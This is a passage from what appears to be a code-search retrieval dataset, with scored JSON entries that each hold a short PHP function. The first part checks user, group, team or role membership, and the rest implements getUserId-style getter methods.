0)\n\t\t{\n\t\t\t$do_check = FALSE;\n\t\t}\n\t\t// Don't check if user is not in selected member groups\n\t\telseif (is_array($this->settings['check_members']) AND !in_array($SESS->userdata['group_id'], $this->settings['check_members']))\n\t\t{\n\t\t\t$do_check = FALSE;\n\t\t}\n\t\t// Every other case, perform check\n\t\telse\n\t\t{\n\t\t\t$do_check = TRUE;\n\t\t}\n\t\t\n\t\treturn $do_check;\n\t}", "title": "" }, { "docid": "ed64fcdd5d82a5ccfbd2fe19ebd429e0", "score": "0.5476272", "text": "function uet_is_user_member($user_id) {\n\t\n\t$member_exists = false;\n\t\n\tif(is_plugin_active(GROUPS_PP)) {\n\t\t//Check if the current user is a member, if not then hide the complimentary section\n\t\t$user_array = array(\n\t\t\t'user_id' => $user_id,\n\t\t\t'user_login' => null,\n\t\t\t'user_email' => null,\n\t\t\t'format' => '',\n\t\t\t'list_class' => 'groups',\n\t\t\t'item_class' => 'name',\n\t\t\t'order_by' => 'name',\n\t\t\t'order' => 'ASC'\n\t\t);\n\t\t\n\t\t//Get groups of user profile being editted\n\t\t$user_groups_string = '';\n\t\t$user_groups_string .= do_shortcode_func( 'groups_user_groups', $user_array );\n\t\t\n\t\t//Check what group user has and display the appropriate user fields\n\t\tif (strpos($user_groups_string, 'Individual')) {\n\t\t\t$member_exists = true;\n\t\t}\n\t\telse if (strpos($user_groups_string, 'Service')) {\n\t\t\t$member_exists = true;\n\t\t}\n\t\telse if (strpos($user_groups_string, 'Organisation')) {\n\t\t\t$member_exists = true;\n\t\t}\n\t\telse if (strpos($user_groups_string, 'Concession')) {\n\t\t\t$member_exists = true;\n\t\t}\n\t}\n\t\n\treturn $member_exists;\n}", "title": "" }, { "docid": "6ce3df3cf9f40bcd6e6d537c7b5e3805", "score": "0.5468124", "text": "public function isMember()\n {\n return $this->hasRole(Acl::MEMBER) ? true : false;\n }", "title": "" }, { "docid": "d5397cd0ed3715086bb08ef0086ebd2e", "score": "0.5464412", "text": "function isMember($userid, $groupid) {\n\t\t\n\t\t// guest is not a member of any group\n\t\tif($userid == 0)\n\t\t\treturn false;\n\t\t$strSQL\t= 'SELECT COUNT(*) FROM ' . $this->_db->nameQuote('#__community_groups_members') . ' '\n\t\t\t\t. 'WHERE ' . $this->_db->nameQuote('groupid') . '=' . $this->_db->Quote($groupid) . ' '\n\t\t\t\t. 'AND ' . $this->_db->nameQuote('memberid') . '=' . $this->_db->Quote($userid)\n\t\t\t\t. 'AND ' . $this->_db->nameQuote( 'approved' ) .'=' . $this->_db->Quote( '1' );\n\t\t\t\t\n\t\t$this->_db->setQuery( $strSQL );\n\t\t$count\t= $this->_db->loadResult();\n\t\treturn $count;\n\t}", "title": "" }, { "docid": "e413476191bb421f4c446ca4fb1d0ba9", "score": "0.54511654", "text": "public function userIsMember(User $user)\n {\n if ($user->getAuthenticationAuthorityIndex()==$this->getAuthenticationAuthorityIndex()) {\n if (in_array($user->getAttribute($this->AuthenticationAuthority->getField('memberuid')), $this->members)) {\n return true;\n }\n }\n \n return false;\n }", "title": "" }, { "docid": "7562c3102a3e2dd2ed9b4194ef9dcc17", "score": "0.5436296", "text": "public function hasUser()\n {\n return $this->getUser() !== null;\n }", "title": "" }, { "docid": "6e9aeafdb8dc3e15448bc39de2f87abb", "score": "0.54284906", "text": "function members_current_user_has_role( $roles ) {\n\n\treturn is_user_logged_in() ? members_user_has_role( get_current_user_id(), $roles ) : false;\n}", "title": "" }, { "docid": "025c9b1690d08c1bdb74fc1026db672a", "score": "0.5428124", "text": "public function getIsCurrentUserAnApprover()\n {\n $member = Security::getCurrentUser();\n\n if (!$member) {\n return false;\n }\n\n if (!$member->groups()->exists()) {\n return false;\n }\n\n $groupIds = $member->groups()->column('ID');\n\n if (in_array($this->ApprovalGroup()->ID, $groupIds)) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "295b1bc3d4a6fa7b7177fadcb97b1f77", "score": "0.54232675", "text": "public function hasUser($user)\n {\n return $this->users->contains($user) || $user->ownsPodcast($this);\n }", "title": "" }, { "docid": "5072b9fd473ca568f106452c9a509f2f", "score": "0.5419898", "text": "public function create(User $user)\n {\n return $user->can('create-teams');\n }", "title": "" }, { "docid": "0d0c6bc13d38431c479ce5b8f4011784", "score": "0.54131526", "text": "public function isMultiUser()\n {\n return (bool)$this->_artwork->getMultiUser();\n }", "title": "" }, { "docid": "bbc6a2725c6a5e1e30f7a3e6884afe76", "score": "0.54118127", "text": "public function hasMember($user) {\n\n $lookup_user = null;\n\n if(is_integer($user)) {\n\n $lookup_user = $this->users()->get()->firstWhere('id', '=', $user);\n\n } else if(is_object($user) && get_class($user) == User::class) {\n\n $lookup_user = $this->users()->get()->firstWhere('id', '=', $user->id);\n\n } else {\n\n // Implement other search functionality?\n\n }\n\n return !is_null($lookup_user);\n\n }", "title": "" }, { "docid": "b54ea97148dc7d2116fa06a5f03a5631", "score": "0.54088455", "text": "public function viewAny(User $user)\n {\n return $user->isAdmin || $user->partners()->exists();\n }", "title": "" }, { "docid": "584399946b1bac57b15406416c415fca", "score": "0.5400418", "text": "public function memberIsInATeam(string $member): bool\n {\n return $this->getMemberTeam($member) != null;\n }", "title": "" }, { "docid": "490e0db8c0e86385f1af9c4a78f98c6b", "score": "0.53963023", "text": "public function is_user()\n\t{\n\t\treturn $this->acl()->check();\n\t}", "title": "" }, { "docid": "00a0209275f9802c11c702be9460d9aa", "score": "0.5382867", "text": "public function hasUser() {\n return ($this->user instanceof \\Application\\Entity\\User);\n }", "title": "" }, { "docid": "dcd29042503d8add9dbedb5357f7228f", "score": "0.537999", "text": "public function loginUserConditionMatchesAnyLoggedInUser() {}", "title": "" }, { "docid": "dcd29042503d8add9dbedb5357f7228f", "score": "0.53799707", "text": "public function loginUserConditionMatchesAnyLoggedInUser() {}", "title": "" }, { "docid": "e2e7584f5db91e5ea962da525eef11d6", "score": "0.53762966", "text": "public function testGetMembersAdmin() {\n $arr = Circle::get_members($this->circleid1, 0, $this->con);\n $hasUser1 = false;\n $hasUser3 = false;\n for ($i = 0; $i < sizeof($arr); $i++) {\n if ($arr[$i] == $this->user1->get_id()) {\n $hasUser1 = true;\n }\n if ($arr[$i] == $this->user3->get_id()) {\n $hasUser3 = true;\n }\n }\n $this->assertTrue($hasUser1);\n $this->assertTrue($hasUser3);\n }", "title": "" }, { "docid": "c9a85e8dd2ee7cfc14ff1416b8967f4c", "score": "0.53747004", "text": "public function testGetUserTeams()\n {\n echo 'Test GetUserTeams' . \"\\n\";\n $team = self::getTeam('Test');\n $userTeams = $team->getUserTeams();\n foreach ($userTeams as $userTeam) {\n $this->assertInstanceOf('IBW\\WebsiteBundle\\Entity\\UserTeam', $userTeam);\n }\n $this->assertEquals(2, $userTeams->count());\n }", "title": "" }, { "docid": "2945d803b06ce82f87ec3851e71ca9fa", "score": "0.5374577", "text": "public function checkUsers()\n {\n $login = $_POST['modalLogin'];\n $password = $_POST['modalPassword'];\n foreach ($this->getAllUsers() as $key => $value) {\n if ($login == $value[0] && password_verify($password, $value[2]) || $login == $value[1] && password_verify($password, $value[2])) {\n $check = true;\n $this->setMail($value[0]);\n $this->setLogin($value[1]);\n $this->setFirstname($value[3]);\n $this->setLastname($value[4]);\n $this->setId($value[5]);\n } else {\n $check = false;\n }\n if ($check) {\n return $check;\n }\n }\n }", "title": "" }, { "docid": "b989af4e8c5ea966afb5de1900bc4806", "score": "0.53643316", "text": "public function isIsMember() {\n\t\treturn $this->isMember;\n\t}", "title": "" }, { "docid": "1c049451424f40cbf0dba510ec025e73", "score": "0.53573835", "text": "function hasUsers() {\n \treturn UserConfigOptions::countByValue('default_assignments_filter', $this->getId(), $this->getCreatedById());\n }", "title": "" }, { "docid": "7e5c0e2b03b6e02be29d4bce4a1ccb88", "score": "0.53554004", "text": "function teams() {\n\t\tglobal $db, $user;\n\n\t\t$sql = 'SELECT\n\t\t\t\t\tstl_players.user_id as user_id,\n\t\t\t\t\tstl_players.team_id as team_id,\n\t\t\t\t\tstl_positions.*\n\t\t\t\tFROM stl_players\n\t\t\t\t\tINNER JOIN stl_positions\n\t\t\t\t\t\tON stl_players.user_id = stl_positions.ship_user_id\n\t\t\t\tWHERE\n\t\t\t\t\tstl_players.game_id = '.$this->data['stl']['game_id'].'\n\t\t\t\t\tAND stl_positions.game_id = '.$this->data['stl']['game_id'].'\n\t\t\t\tORDER BY hit_user_id ASC';\n\t\t$result = $db->query($sql,__FILE__,__LINE__,__METHOD__);\n\n\t\twhile($rs = $db->fetch($result))\n\t\t{\n\t\t\tif($rs['team_id'] == 0) {\n\t\t\t\t$this->data['team_gelb'] .= sprintf('<%2$s>%1$s</%2$s><br>', $user->userprofile_link($rs['user_id'], ['pic' => TRUE, 'username' => TRUE, 'clantag' => TRUE]), ($rs['hit_user_id'] > 0 ? 'del' : 'b'));\n\t\t\t} else {\n\t\t\t\t$this->data['team_gruen'] .= sprintf('<%2$s>%1$s</%2$s><br>', $user->userprofile_link($rs['user_id'], ['pic' => TRUE, 'username' => TRUE, 'clantag' => TRUE]), ($rs['hit_user_id'] > 0 ? 'del' : 'b'));\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "a329f001738dd611878080c5c6956228", "score": "0.5352562", "text": "public function authorize()\n {\n $user = $this->user();\n $team = $user->teams()->findOrFail($this->route('teamId'));\n return $user->ownTeam($team);\n }", "title": "" }, { "docid": "3b93f8fddd73c212a8d049d9d487c7e6", "score": "0.53434074", "text": "public function is_member_of($table, $uid)\n\t{\n\t\tif (!in_array($table, array('applicants', 'members', 'managers', 'invitees')))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tif (!is_numeric($uid))\n\t\t{\n\t\t\t$uid = User::oneByUsername($uid)->get('id');\n\t\t}\n\n\t\treturn in_array($uid, $this->get($table));\n\t}", "title": "" }, { "docid": "9b5164cbf14eaa0f7b8052791c141640", "score": "0.5340219", "text": "function is_member( $id, $uID = null, $obj = null, $group = true ) {\n\t\t$obj = $this->null_obj( $id, $obj, $group );\n\t\t$uID = $this->null_user( $uID );\n\n\t\t$members = $this->all_members( $id, $obj, $group );\n\t\tif ( is_array( $members ) ) {\n\t\t\tif ( in_array( $uID, $members ) ) {\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "83f7a911a3ad7e5a6eb19a33b496d0e6", "score": "0.5338777", "text": "public function can_see() {\n\t\tglobal $I2_USER;\n\n\t\tif ($I2_USER->is_group_member('admin_polls'))\n\t\t\treturn TRUE;\n\t\tif (!$this->visibility)\n\t\t\treturn FALSE;\n\n\t\t$ugroups = Group::get_user_groups($I2_USER);\n\t\tforeach ($ugroups as $g) {\n\t\t\tif (isset($this->gs[$g->gid]))\n\t\t\t\treturn TRUE;\n\t\t}\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "2da4df638c5d152945ffb6e2fde29bce", "score": "0.53353274", "text": "public static function userAdmin(int $teamId, int $userId):bool {\t\t\t\n \t return \\App\\Models\\Member::userAdmin('teams', $teamId, $userId);\n\t}", "title": "" }, { "docid": "2db56f220ab67070d6b80ad918a98a68", "score": "0.5332326", "text": "public function isMember(UserInterface $user)\n\t{\n\t\tif(!$this->exists)\n\t\t{\n\t\t\tthrow new LogicException(vsprintf(\"%s(): You can only check if a user is a member of a group that exist in the database.\", [__METHOD__]));\n\t\t}\n\n\t\treturn $this->users()->where($user->getPrimaryKey(), '=', $user->getPrimaryKeyValue())->count() > 0;\n\t}", "title": "" }, { "docid": "b22c54ac1aa47b3e6296bd0edfa4a368", "score": "0.5330902", "text": "function fn_user_has_active_usergroups($user_data)\n{\n $has = false;\n\n if (!empty($user_data['usergroups'])) {\n foreach ($user_data['usergroups'] as $_user_group) {\n if ($_user_group['status'] == 'A') {\n $has = true;\n break;\n }\n }\n }\n\n return $has;\n}", "title": "" }, { "docid": "a07f2e668fbe3acc3593d97dc391d931", "score": "0.53249615", "text": "function is_staff() {\n global $av_staff;\n return in_array((int)$_SESSION['user'], $av_staff);\n}", "title": "" }, { "docid": "35350a32412a2455a63e3734d67b85c4", "score": "0.530502", "text": "public function hasTeamSeed() {\n \n return empty($this->teamSeed);\n \n }", "title": "" }, { "docid": "93422f5867887b4fea9fe55bc7ad8ec9", "score": "0.5304223", "text": "private function canView($gameOfficial, TokenInterface $token, User $user)\n {\n // Assignor can do anything\n if ($this->decisionManager->decide($token, ['ROLE_ASSIGNOR'])) {\n return true;\n }\n // Must be a referee\n if (!$this->decisionManager->decide($token, ['ROLE_REFEREE'])) {\n return false;\n }\n\n // Only certain games can be signed up for\n if ($gameOfficial->assignRole !== 'ROLE_REFEREE') {\n return false;\n }\n // Maybe verify referee is approved?\n\n // Can see empty games\n if ($gameOfficial->regPersonId === null) {\n // TODO Check for conflicts\n return true;\n }\n // Can see my games\n if ($gameOfficial->phyPersonId === $user->getPersonId()) {\n return true;\n }\n // Can edit my crew's games\n\n // Cache the crew ids for the current user\n // TOD Use physical person id\n $userRegPersonId = $user->getRegPersonId();\n if (!$this->regPersonCrewIds) {\n $this->regPersonCrewIds = $this->regPersonFinder->findRegPersonPersonIds($userRegPersonId);\n }\n if (isset($this->regPersonCrewIds[$gameOfficial->regPersonId])) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "9f73f82fb2833fc7ceee4e755351d0b8", "score": "0.5300836", "text": "function members_user_has_role( $user_id, $roles ) {\n\n\t$user = new WP_User( $user_id );\n\n\tforeach ( (array) $roles as $role ) {\n\n\t\tif ( in_array( $role, (array) $user->roles ) )\n\t\t\treturn true;\n\t}\n\n\treturn false;\n}", "title": "" }, { "docid": "0ec33939cae1a5d524a53db3cfaeda72", "score": "0.5297406", "text": "public function hasUser(): bool;", "title": "" }, { "docid": "41cee63b0f294cb0ef5ad198108958c5", "score": "0.5287027", "text": "public function is_farr_user() {\n $farr_users = array(\n \"rmjlach\", \"seaargi\", \"rmjlmee\", \"rmhaarh\", \"rmjdhaz\",\n \"rmhkati\", \"rmjlcl0\", \"rmjljug\", \"rmharsp\", \"rmjlls0\",\n \"rmjdas2\", \"rmjdcsh\", \"rmyaral\", \"rmjlcwa\", \"rmhidxk\",\n \"rmhipmt\", \"rmjdjpc\", \"rmjdwil\", \"rmjdmdm\", \"rmjlda0\",\n \"rmjdkmo\", \"rmjdsc1\", \"rmjlduk\", \"rmjlefr\", \"rmjdera\",\n \"rmjdjel\", \"rmgpfak\", \"rmjdgfa\", \"ucacdgf\", \"rekgzko\",\n \"rmhiapa\", \"ucabncl\", \"rmjdbdu\", \"zcakf79\", \"rmjlsmi\",\n \"sejjcm7\", \"zcahec2\", \"rmjlwal\", \"rmjdarc\", \"rmjdoay\",\n \"rmhekbh\", \"rmjdgeh\", \"ucabspi\", \"ucacsri\", \"rmjdreg\",\n );\n return in_array($this->username, $farr_users);\n }", "title": "" } ]
97436783e52c89aa122f7289c3d580f2
Gets the user ID
[ { "docid": "65f31387b417b4461eafdd2bdfe88cc4", "score": "0.0", "text": "public function getId() : int {\n\t\treturn $this->id;\n\t}", "title": "" } ]
[ { "docid": "53d8519847dc54fcc62c18a15e05a733", "score": "0.89873195", "text": "public function get_user_id();", "title": "" }, { "docid": "1d60f59d2a127c427ab6bbbcab43f211", "score": "0.85518676", "text": "public function getUserID () {\n return $this->id;\n }", "title": "" }, { "docid": "cab34345d59b2085d9f7b0ee0f1ef399", "score": "0.8516693", "text": "public function getUserId()\n {\n return (int) $this->_getVar('user_id');\n }", "title": "" }, { "docid": "f706ae8f2efaef1cd2456da19be16734", "score": "0.8469257", "text": "public function getUserId()\n {\n return $this->get(self::_USER_ID);\n }", "title": "" }, { "docid": "f706ae8f2efaef1cd2456da19be16734", "score": "0.8469257", "text": "public function getUserId()\n {\n return $this->get(self::_USER_ID);\n }", "title": "" }, { "docid": "f706ae8f2efaef1cd2456da19be16734", "score": "0.8469257", "text": "public function getUserId()\n {\n return $this->get(self::_USER_ID);\n }", "title": "" }, { "docid": "f706ae8f2efaef1cd2456da19be16734", "score": "0.84687275", "text": "public function getUserId()\n {\n return $this->get(self::_USER_ID);\n }", "title": "" }, { "docid": "dc28cb8cbd25bdd31444bd2584d63478", "score": "0.84664065", "text": "public function getUserid()\n {\n return $this->get(self::_USERID);\n }", "title": "" }, { "docid": "dc28cb8cbd25bdd31444bd2584d63478", "score": "0.84664065", "text": "public function getUserid()\n {\n return $this->get(self::_USERID);\n }", "title": "" }, { "docid": "dc28cb8cbd25bdd31444bd2584d63478", "score": "0.84664065", "text": "public function getUserid()\n {\n return $this->get(self::_USERID);\n }", "title": "" }, { "docid": "39315fcf6d5f3c0b934a492ee4837fab", "score": "0.84370005", "text": "function get_user_id()\r\n {\r\n return $this->user->get_id();\r\n }", "title": "" }, { "docid": "b13b71653fef10430ea01bbd4522de8f", "score": "0.84305596", "text": "public function getID() {\n return $this->user_id;\n }", "title": "" }, { "docid": "2bf2afb4daf03a367e2bcd161cda91a1", "score": "0.8420621", "text": "public function get_user_id()\n {\n return self::getUser();\n }", "title": "" }, { "docid": "cab4239c645e5fbccbb903fc6fb5c4c6", "score": "0.84187037", "text": "public function getUserId()\n {\n $value = $this->get(self::user_id);\n return $value === null ? (integer)$value : $value;\n }", "title": "" }, { "docid": "b8633d646b7a93918b31ee33fb83d5e8", "score": "0.8396604", "text": "public function getUserID() {\n\t\treturn $this->_user_id;\n\t}", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "903600732c778cc0e91a8071a52be5e6", "score": "0.8373081", "text": "public function getUserId()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "54bbed692062adea9968118d1e29b336", "score": "0.8365384", "text": "public function get_id_user()\n\t{\n\t\treturn $this->id_user;\n\t}", "title": "" }, { "docid": "b5ea22c62abbdf412e6e2b9298cc6978", "score": "0.8359589", "text": "public function getUserID(){\n return($this->userID);\n }", "title": "" }, { "docid": "4754f7451d2ffb80216a0246248f69b4", "score": "0.83585167", "text": "public function getUser_id()\n {\n return isset($this->user_id) ? $this->user_id : null;\n }", "title": "" }, { "docid": "bdb6c3bcfd8a05b4251d4c80c0d66793", "score": "0.8335528", "text": "public function getUserId() {\n return $this->user_id;\n }", "title": "" }, { "docid": "bdb6c3bcfd8a05b4251d4c80c0d66793", "score": "0.8335528", "text": "public function getUserId() {\n return $this->user_id;\n }", "title": "" }, { "docid": "79918e153d521f050341beb565cc2661", "score": "0.8334054", "text": "public function getUserId() {\n\t\treturn $this->user_id;\n\t}", "title": "" }, { "docid": "858c7e1667243ec25cfb30e2338e4fd1", "score": "0.8331809", "text": "public function getUserId();", "title": "" }, { "docid": "858c7e1667243ec25cfb30e2338e4fd1", "score": "0.8331809", "text": "public function getUserId();", "title": "" }, { "docid": "858c7e1667243ec25cfb30e2338e4fd1", "score": "0.8331809", "text": "public function getUserId();", "title": "" }, { "docid": "858c7e1667243ec25cfb30e2338e4fd1", "score": "0.8331809", "text": "public function getUserId();", "title": "" }, { "docid": "858c7e1667243ec25cfb30e2338e4fd1", "score": "0.8331809", "text": "public function getUserId();", "title": "" }, { "docid": "858c7e1667243ec25cfb30e2338e4fd1", "score": "0.8331809", "text": "public function getUserId();", "title": "" }, { "docid": "858c7e1667243ec25cfb30e2338e4fd1", "score": "0.8331809", "text": "public function getUserId();", "title": "" }, { "docid": "858c7e1667243ec25cfb30e2338e4fd1", "score": "0.8331809", "text": "public function getUserId();", "title": "" }, { "docid": "858c7e1667243ec25cfb30e2338e4fd1", "score": "0.8331809", "text": "public function getUserId();", "title": "" }, { "docid": "cb0534d74a5e4c4a8feda3cbbae55568", "score": "0.831311", "text": "public function getUser_id()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "cb0534d74a5e4c4a8feda3cbbae55568", "score": "0.831311", "text": "public function getUser_id()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "67625a8efb55d2d7c21e2ea5f46aa71a", "score": "0.831015", "text": "public function getUserId()\n {\n return (int)$this->user_id;\n }", "title": "" }, { "docid": "2faf66488b2a3af110c7ec0018ee0075", "score": "0.8305457", "text": "public function getUserID()\n {\n return $this->userID;\n }", "title": "" }, { "docid": "2faf66488b2a3af110c7ec0018ee0075", "score": "0.8305457", "text": "public function getUserID()\n {\n return $this->userID;\n }", "title": "" }, { "docid": "2d82e99d786fabee98c4e7953fd6031b", "score": "0.8291768", "text": "public function getUserId()\n {\n return $this->id;\n }", "title": "" }, { "docid": "eff41985d701eb6bc7542fb264795846", "score": "0.8289661", "text": "public function getUserID() {\n\t\tif (is_numeric($this->user_id)) {\n\t\t\treturn $this->user_id;\n\t\t} else {\n\t\t\treturn 0;\n\t\t}\n\t}", "title": "" }, { "docid": "1062c71c1c4becce7255bcacbac7edfb", "score": "0.82815844", "text": "public function get_user_id() {\n\t\treturn $this->user_id;\n\t}", "title": "" }, { "docid": "6dc783ecf6eabd3aa4cf3ad537b2bbae", "score": "0.8280817", "text": "public function get_id_user()\n {\n return (isset($this->_id_user)) ? $this->_id_user : null;\n }", "title": "" }, { "docid": "2b3cd741011ee41bafade76eb4e717c3", "score": "0.8266491", "text": "public function getUserid()\n {\n return $this->userid;\n }", "title": "" }, { "docid": "52f96a52f427dba385a7b45adbb8c38f", "score": "0.82645214", "text": "Public Function UserId() {\n\t\treturn $this->userId;\n\t\n\t}", "title": "" }, { "docid": "c41dd45a84b8c16a6a523b04a0a0910e", "score": "0.8262759", "text": "public function getUserId()\n {\n $request = new GetUserRequest();\n $user = $this->serviceClient->GetService()->GetUser($request)->User;\n return $user->Id;\n }", "title": "" }, { "docid": "3ddc53c98938b32f2113686624a816c5", "score": "0.8261763", "text": "public function getUserId()\n {\n \treturn $this->getCurrentUserid();\n }", "title": "" }, { "docid": "06b462d2cf94cc9b974c87ada2db7e32", "score": "0.8253318", "text": "public function getUserId() {\n\t\treturn $this->Session->read('UserAuth.User.id');\n\t}", "title": "" }, { "docid": "699d7103d6fffc0bbf6ad2b034ddc953", "score": "0.8244451", "text": "public function getIduser()\n {\n return $this->iduser;\n }", "title": "" }, { "docid": "9f1d27245e2c7fc01060721c33f96268", "score": "0.82329744", "text": "public function getUserId ()\n {\n return $this->storage->get(self::$prefix . 'userId');\n }", "title": "" }, { "docid": "de50c355aafe20524498326b80fc8c7c", "score": "0.82257134", "text": "public function getUserId()\n {\n $this->checkIfKeyExistsAndIsInteger('user_id');\n\n return $this->data['user_id'];\n }", "title": "" }, { "docid": "d3ac6d51a2821daa6fda6943b2151506", "score": "0.82184994", "text": "public function getUserId()\r\n \t{\r\n \treturn $this->_client->getUser();\r\n \t}", "title": "" }, { "docid": "57e3c9d147122cb3e6145a489ba83773", "score": "0.82178813", "text": "public function getUserId()\n {\n return parent::getValue('user_id');\n }", "title": "" }, { "docid": "930a22d1bbec4a3a029ef622a4b610ab", "score": "0.82173073", "text": "public function getIdUser()\n {\n return $this->id_user;\n }", "title": "" }, { "docid": "930a22d1bbec4a3a029ef622a4b610ab", "score": "0.82173073", "text": "public function getIdUser()\n {\n return $this->id_user;\n }", "title": "" }, { "docid": "930a22d1bbec4a3a029ef622a4b610ab", "score": "0.82173073", "text": "public function getIdUser()\n {\n return $this->id_user;\n }", "title": "" }, { "docid": "a5addb0e5b8adf1b9fc1db97f372396f", "score": "0.8210931", "text": "public function getUserId()\n {\n return UsniAdaptor::app()->user->getId();\n }", "title": "" }, { "docid": "9fec26ef6782ef7f1ac4b14403b491c9", "score": "0.8206017", "text": "public function getIdUser()\n {\n return $this->idUser;\n }", "title": "" }, { "docid": "9fec26ef6782ef7f1ac4b14403b491c9", "score": "0.8206017", "text": "public function getIdUser()\n {\n return $this->idUser;\n }", "title": "" }, { "docid": "6b35f8cc5e230ae1cbde173ea52d7ea1", "score": "0.8197885", "text": "public function getUserIdentifier()\n {\n // that's why I am sending the id here\n return $this->id;\n }", "title": "" }, { "docid": "5202e207b51def1cb35ade97d93df921", "score": "0.81947225", "text": "protected function getUserId()\n {\n return object_get($this->getUser(), 'profile_id', $this->getDefaultProfileId() );\n }", "title": "" }, { "docid": "3046a40ad0b72de485d164b05fed20c0", "score": "0.8188511", "text": "private function getuserid() {\n\n $user_security = $this->container->get('security.context');\n // authenticated REMEMBERED, FULLY will imply REMEMBERED (NON anonymous)\n if ($user_security->isGranted('IS_AUTHENTICATED_FULLY')) {\n $user = $this->get('security.context')->getToken()->getUser();\n $user_id = $user->getId();\n } else {\n $user_id = 0;\n }\n return $user_id;\n }", "title": "" }, { "docid": "5734ace0cef845b48ee4026e27382208", "score": "0.8183603", "text": "public function id()\n {\n return $this->user->id;\n }", "title": "" }, { "docid": "3bf2c99f462aa4ed2fa3a1169c503e6f", "score": "0.8168324", "text": "public function getUserId()\n {\n return $this->authenticator->getUserId();\n }", "title": "" }, { "docid": "0848aa89a79972ee7d7a00c10e82ccb8", "score": "0.8160787", "text": "public function getIdUser() \n\t{\n\t\treturn $this->idUser;\n\t}", "title": "" }, { "docid": "fd88ae531285879b738b3d607e24c46b", "score": "0.8156856", "text": "public function getId()\n {\n return $this->response['user_id'];\n }", "title": "" }, { "docid": "c811839a4aef4626c4b0827119c3789d", "score": "0.81501347", "text": "public function getId_user()\n {\n return $this->id_user;\n }", "title": "" }, { "docid": "c811839a4aef4626c4b0827119c3789d", "score": "0.81501347", "text": "public function getId_user()\n {\n return $this->id_user;\n }", "title": "" }, { "docid": "c811839a4aef4626c4b0827119c3789d", "score": "0.81501347", "text": "public function getId_user()\n {\n return $this->id_user;\n }", "title": "" }, { "docid": "c811839a4aef4626c4b0827119c3789d", "score": "0.81501347", "text": "public function getId_user()\n {\n return $this->id_user;\n }", "title": "" }, { "docid": "5744346b0263a7aa6d9b418081f3c2af", "score": "0.81489986", "text": "function getUserId() {\n\t\treturn $this->getData('userId');\n\t}", "title": "" }, { "docid": "fbc8db7607ea56e672ebdbfe710a558c", "score": "0.81471014", "text": "public function getId()\n {\n return $this->ID_user;\n }", "title": "" }, { "docid": "7c9820f385cfdcc2cc2c7fb35889eb05", "score": "0.8144358", "text": "public function getUser_id()\n {\n return $this->user_id;\n }", "title": "" }, { "docid": "b437b690c79e92a71a62d872809c44b4", "score": "0.8143805", "text": "public function getUserId()\n {\n return $this->userid;\n }", "title": "" }, { "docid": "b437b690c79e92a71a62d872809c44b4", "score": "0.8143805", "text": "public function getUserId()\n {\n return $this->userid;\n }", "title": "" }, { "docid": "ac9a6d23c3832fc02a7b74d1f331fa05", "score": "0.81395704", "text": "public function id() {\n return isset($this->_adaptee->user_info['user_id']) ? $this->_adaptee->user_info['user_id'] : null;\n }", "title": "" }, { "docid": "e12394c388823a57f3904bd7abcbe867", "score": "0.813835", "text": "public function getUserId () {\n\t\treturn ($this->userId);\n\t}", "title": "" }, { "docid": "57855068618a577e3364bd17370db501", "score": "0.8135552", "text": "public function get_user_id() {\n\n return $this -> user_id;\n\n }", "title": "" }, { "docid": "d6d21dd583e62bbe834b59204b09c789", "score": "0.8132035", "text": "public function GetUserID()\n {\n return 